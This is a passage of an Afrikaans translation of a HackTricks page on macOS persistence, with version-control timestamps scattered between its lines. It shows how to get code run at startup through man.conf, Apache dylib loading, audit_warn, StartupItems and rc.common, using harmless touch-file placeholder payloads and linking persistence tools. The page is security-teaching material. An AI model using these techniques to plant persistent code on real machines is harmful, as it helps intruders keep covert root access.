2023-06-01 21:09:46 +00:00
2024-02-13 00:50:43 +00:00
Byvoorbeeld ingestel in ** `/private/etc/man.conf` **:
2023-09-28 20:05:35 +00:00
```
MANPAGER /tmp/view
2023-06-01 21:09:46 +00:00
```
2024-02-11 02:07:06 +00:00
En skep dan `/tmp/view` as:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
#!/bin/zsh
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
touch /tmp/manconf
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
/usr/bin/less -s
```
2023-09-28 15:09:34 +00:00
### Apache2
2024-02-23 16:45:55 +00:00
**Bespreking**: [https://theevilbit.github.io/beyond/beyond\_0023/ ](https://theevilbit.github.io/beyond/beyond\_0023/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
* Nuttig om sandboks te omseil: [🟠 ](https://emojipedia.org/large-orange-circle )
* Maar jy moet 'n root wees en apache moet loop
2024-02-11 02:07:06 +00:00
* TCC omseiling: [🔴 ](https://emojipedia.org/large-red-circle )
* Httpd het nie toestemmings nie
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:43 +00:00
#### Ligging
2023-09-28 15:09:34 +00:00
* **`/etc/apache2/httpd.conf`**
2024-02-13 00:50:43 +00:00
* Root benodig
2024-02-11 02:07:06 +00:00
* Trigger: Wanneer Apache2 begin
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
#### Beskrywing & Uitbuiting
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
Jy kan in `/etc/apache2/httpd.conf` aandui om 'n module te laai deur 'n lyn by te voeg soos:
2023-09-28 15:09:34 +00:00
```bash
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
```
{% endcode %}
2024-02-13 00:50:43 +00:00
Op hierdie manier sal jou saamgestelde modules deur Apache gelaai word. Die enigste ding is dat jy dit óf met 'n geldige Apple-sertifikaat moet **teken** , óf jy moet 'n nuwe vertroude sertifikaat in die stelsel **byvoeg** en dit daarmee **teken** .
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
Dan, indien nodig, om seker te maak dat die bediener gestart sal word, kan jy uitvoer:
2023-09-28 15:09:34 +00:00
```bash
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
```
2024-03-17 16:40:53 +00:00
Kodevoorbeeld vir die Dylb:
2023-09-28 15:09:34 +00:00
```objectivec
#include <stdio.h>
#include <syslog.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
2024-02-11 02:07:06 +00:00
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
2023-09-28 15:09:34 +00:00
}
```
2024-02-11 02:07:06 +00:00
### BSM ouditraamwerk
2023-09-28 15:09:34 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/ ](https://theevilbit.github.io/beyond/beyond\_0031/ )
2024-03-17 16:40:53 +00:00
* Nuttig om sander te omseil: [🟠 ](https://emojipedia.org/large-orange-circle )
* Maar jy moet 'n hoofgebruiker wees, auditd moet loop en 'n waarskuwing veroorsaak
2024-02-23 16:45:55 +00:00
* TCC-omseiling: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-23 16:45:55 +00:00
#### Plek
2023-09-28 15:09:34 +00:00
* **`/etc/security/audit_warn`**
2024-02-13 00:50:43 +00:00
* Root benodig
2024-02-11 02:07:06 +00:00
* **Trigger**: Wanneer auditd 'n waarskuwing opspoor
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing & Uitbuiting
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
Telkens wanneer auditd 'n waarskuwing opspoor, word die skripsie ** `/etc/security/audit_warn` ** **uitgevoer** . Jy kan dus jou lading daarbyvoeg.
2023-09-28 15:09:34 +00:00
```bash
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
2023-06-01 21:09:46 +00:00
```
2024-02-13 00:50:43 +00:00
### Begin van Items
2023-06-01 21:09:46 +00:00
2023-09-26 23:39:35 +00:00
{% hint style="danger" %}
2024-02-13 00:50:43 +00:00
**Dit is verouderd, so niks behoort in daardie gids gevind te word nie.**
2023-09-26 23:39:35 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2024-02-23 16:45:55 +00:00
Die **StartupItem** is 'n gids wat binne of `/Library/StartupItems/` of `/System/Library/StartupItems/` geplaas moet word. Nadat hierdie gids gevestig is, moet dit twee spesifieke lêers insluit:
2024-02-07 04:06:18 +00:00
2024-03-17 16:40:53 +00:00
1. 'n **rc-skrip** : 'n skulpskrip wat by opstart uitgevoer word.
2024-02-11 02:07:06 +00:00
2. 'n **plist-lêer** , spesifiek genoem `StartupParameters.plist` , wat verskeie konfigurasie-instellings bevat.
2024-02-07 04:06:18 +00:00
2024-03-17 16:40:53 +00:00
Maak seker dat beide die rc-skrip en die `StartupParameters.plist` -lêer korrek binne die **StartupItem** -gids geplaas word sodat die opstartproses hulle kan herken en gebruik.
2023-06-01 21:09:46 +00:00
{% tabs %}
{% tab title="StartupParameters.plist" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-11 02:07:06 +00:00
< key > Description< / key >
< string > This is a description of this service< / string >
< key > OrderPreference< / key >
< string > None< / string > <!-- Other req services to execute before this -->
< key > Provides< / key >
< array >
< string > superservicename< / string > <!-- Name of the services provided by this file -->
< / array >
2023-06-01 21:09:46 +00:00
< / dict >
< / plist >
```
2024-02-13 00:50:43 +00:00
{% endtab %}
{% tab title="superservicename" %}
2024-03-17 16:40:53 +00:00
### Superdiensnaam
2024-02-13 00:50:43 +00:00
2024-03-17 16:40:53 +00:00
Hierdie diens is 'n kritieke diens wat outomaties begin wanneer die stelsel opgestart word. Dit kan 'n potensiële aanvalsoppervlak wees as dit nie behoorlik beheer word nie. Dit is belangrik om die nodige maatreëls te tref om te verseker dat slegs goedgekeurde dienste outomaties begin by die aanvang van die stelsel.
2024-02-13 00:50:43 +00:00
{% endtab %}
2023-06-01 21:09:46 +00:00
```bash
#!/bin/sh
. /etc/rc.common
StartService(){
2024-02-11 02:07:06 +00:00
touch /tmp/superservicestarted
2023-06-01 21:09:46 +00:00
}
StopService(){
2024-02-11 02:07:06 +00:00
rm /tmp/superservicestarted
2023-06-01 21:09:46 +00:00
}
RestartService(){
2024-02-11 02:07:06 +00:00
echo "Restarting"
2023-06-01 21:09:46 +00:00
}
RunService "$1"
```
{% endtab %}
{% endtabs %}
2023-09-28 20:05:35 +00:00
### ~~emond~~
{% hint style="danger" %}
2024-02-13 00:50:43 +00:00
Ek kan hierdie komponent nie in my macOS vind nie, vir meer inligting kyk na die skryfstuk
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-02-13 00:50:43 +00:00
Skryfstuk: [https://theevilbit.github.io/beyond/beyond\_0023/ ](https://theevilbit.github.io/beyond/beyond\_0023/ )
2023-09-28 20:05:35 +00:00
2024-03-17 16:40:53 +00:00
Deur Apple geïntroduceer, is **emond** 'n loggingsmeganisme wat lyk of dit onderontwikkel of moontlik verlate is, maar dit bly toeganklik. Alhoewel dit nie besonders voordelig is vir 'n Mac-administrateur nie, kan hierdie obskure diens as 'n subtiel volhardingsmetode vir bedreigingsakteurs dien, moontlik onopgemerk deur die meeste macOS-administrateurs.
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:43 +00:00
Vir diegene wat bewus is van sy bestaan, is dit maklik om enige skadelike gebruik van **emond** te identifiseer. Die stelsel se LaunchDaemon vir hierdie diens soek skripte om in 'n enkele gids uit te voer. Om dit te inspekteer, kan die volgende bevel gebruik word:
2023-09-28 20:05:35 +00:00
```bash
ls -l /private/var/db/emondClients
```
### ~~XQuartz~~
Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/ ](https://theevilbit.github.io/beyond/beyond\_0018/ )
2024-02-11 02:07:06 +00:00
#### Plek
2023-09-28 20:05:35 +00:00
* **`/opt/X11/etc/X11/xinit/privileged_startx.d`**
2024-02-13 00:50:43 +00:00
* Root benodig
2024-02-11 02:07:06 +00:00
* **Trigger**: Met XQuartz
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:43 +00:00
#### Beskrywing & Uitbuiting
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:43 +00:00
XQuartz is **nie meer geïnstalleer in macOS nie** , soek vir meer inligting in die writeup.
2023-09-28 20:05:35 +00:00
### ~~kext~~
{% hint style="danger" %}
2024-03-17 16:40:53 +00:00
Dit is so ingewikkeld om kext selfs as root te installeer dat ek dit nie sal oorweeg om uit sandbokse te ontsnap of vir volharding nie (tensy jy 'n uitbuiting het)
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-02-11 02:07:06 +00:00
#### Plek
2023-09-28 20:05:35 +00:00
2024-03-17 16:40:53 +00:00
Om 'n KEXT as 'n aanvangsitem te installeer, moet dit in een van die volgende plekke geïnstalleer word:
2023-09-28 20:05:35 +00:00
* `/System/Library/Extensions`
2024-02-11 02:07:06 +00:00
* KEXT-lêers wat in die OS X-bedryfstelsel ingebou is.
2023-09-28 20:05:35 +00:00
* `/Library/Extensions`
2024-02-23 16:45:55 +00:00
* KEXT-lêers wat deur 3de party sagteware geïnstalleer is
2023-09-28 20:05:35 +00:00
2024-02-11 02:07:06 +00:00
Jy kan tans gelaai kext-lêers lys met:
2023-09-28 20:05:35 +00:00
```bash
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
```
2024-02-23 16:45:55 +00:00
Vir meer inligting oor [**kernel-uitbreidings sien hierdie afdeling** ](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers ).
2023-09-28 20:05:35 +00:00
### ~~amstoold~~
2024-02-13 00:50:43 +00:00
Verslag: [https://theevilbit.github.io/beyond/beyond\_0029/ ](https://theevilbit.github.io/beyond/beyond\_0029/ )
2023-09-28 20:05:35 +00:00
2024-02-11 02:07:06 +00:00
#### Ligging
2023-09-28 20:05:35 +00:00
* **`/usr/local/bin/amstoold`**
2024-02-13 00:50:43 +00:00
* Vereis root-toegang
2023-09-28 20:05:35 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing & Uitbuiting
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:43 +00:00
Dit blykbaar dat die `plist` van `/System/Library/LaunchAgents/com.apple.amstoold.plist` hierdie binêre gebruik het terwyl dit 'n XPC-diens blootgestel het... die ding is dat die binêre nie bestaan het nie, so jy kon iets daar plaas en wanneer die XPC-diens geroep word, sal jou binêre geroep word.
2023-09-28 20:05:35 +00:00
2024-02-11 02:07:06 +00:00
Ek kan dit nie meer in my macOS vind nie.
2023-09-28 20:05:35 +00:00
### ~~xsanctl~~
2024-02-13 00:50:43 +00:00
Verslag: [https://theevilbit.github.io/beyond/beyond\_0015/ ](https://theevilbit.github.io/beyond/beyond\_0015/ )
2023-09-28 20:05:35 +00:00
2024-02-11 02:07:06 +00:00
#### Ligging
2023-09-28 20:05:35 +00:00
* **`/Library/Preferences/Xsan/.xsanrc`**
2024-02-13 00:50:43 +00:00
* Vereis root-toegang
* **Trigger**: Wanneer die diens uitgevoer word (skaars)
2023-09-28 20:05:35 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing & uitbuiting
2023-09-28 20:05:35 +00:00
2024-03-17 16:40:53 +00:00
Dit blyk nie baie algemeen te wees om hierdie skrip uit te voer nie en ek kon dit selfs nie in my macOS vind nie, so as jy meer inligting wil hê, kyk na die verslag.
2023-09-28 20:05:35 +00:00
### ~~/etc/rc.common~~
2023-06-01 21:09:46 +00:00
{% hint style="danger" %}
2024-02-11 02:07:06 +00:00
**Dit werk nie in moderne MacOS-weergawes nie**
2023-06-01 21:09:46 +00:00
{% endhint %}
2024-02-13 00:50:43 +00:00
Dit is ook moontlik om hier **opdragte te plaas wat by aanvang uitgevoer sal word.** Voorbeeld van 'n gewone rc.common-skrip:
2023-06-01 21:09:46 +00:00
```bash
#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#
######################
# Configure the shell #
######################
#
# Be strict
#
#set -e
set -u
#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
# TERM=$(tset - -Q); export TERM
#fi
###################
# Useful functions #
###################
#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
2024-02-11 02:07:06 +00:00
local test
if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
2023-06-01 21:09:46 +00:00
}
alias ConsoleMessage=echo
#
# Process management
#
GetPID ()
{
2024-02-11 02:07:06 +00:00
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local pid=""
if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi
if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
2023-06-01 21:09:46 +00:00
}
#
# Generic action handler
#
RunService ()
{
2024-02-11 02:07:06 +00:00
case $1 in
start ) StartService ;;
stop ) StopService ;;
restart) RestartService ;;
* ) echo "$0: unknown argument: $1";;
esac
2023-06-01 21:09:46 +00:00
}
```
2024-02-11 02:07:06 +00:00
## Volhardingstegnieke en -gereedskap
2023-06-01 21:09:46 +00:00
* [https://github.com/cedowens/Persistent-Swift ](https://github.com/cedowens/Persistent-Swift )
* [https://github.com/D00MFist/PersistentJXA ](https://github.com/D00MFist/PersistentJXA )
< details >
2024-02-11 02:07:06 +00:00
< summary > < strong > Leer AWS-hacking vanaf nul tot held met< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2023-06-01 21:09:46 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-30 20:49:49 +00:00
2024-03-17 16:40:53 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** , kyk na die [**INSKRYWINGSPLANNE** ](https://github.com/sponsors/carlospolop )!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2024-03-17 16:40:53 +00:00
* Ontdek [**Die PEASS Familie** ](https://opensea.io/collection/the-peass-family ), ons versameling eksklusiewe [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-02-13 00:50:43 +00:00
* **Sluit aan by die** 💬 [**Discord-groep** ](https://discord.gg/hRep4RUj7f ) of die [**telegram-groep** ](https://t.me/peass ) of **volg** ons op **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) en [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github-opslag.
2023-06-01 21:09:46 +00:00
< / details >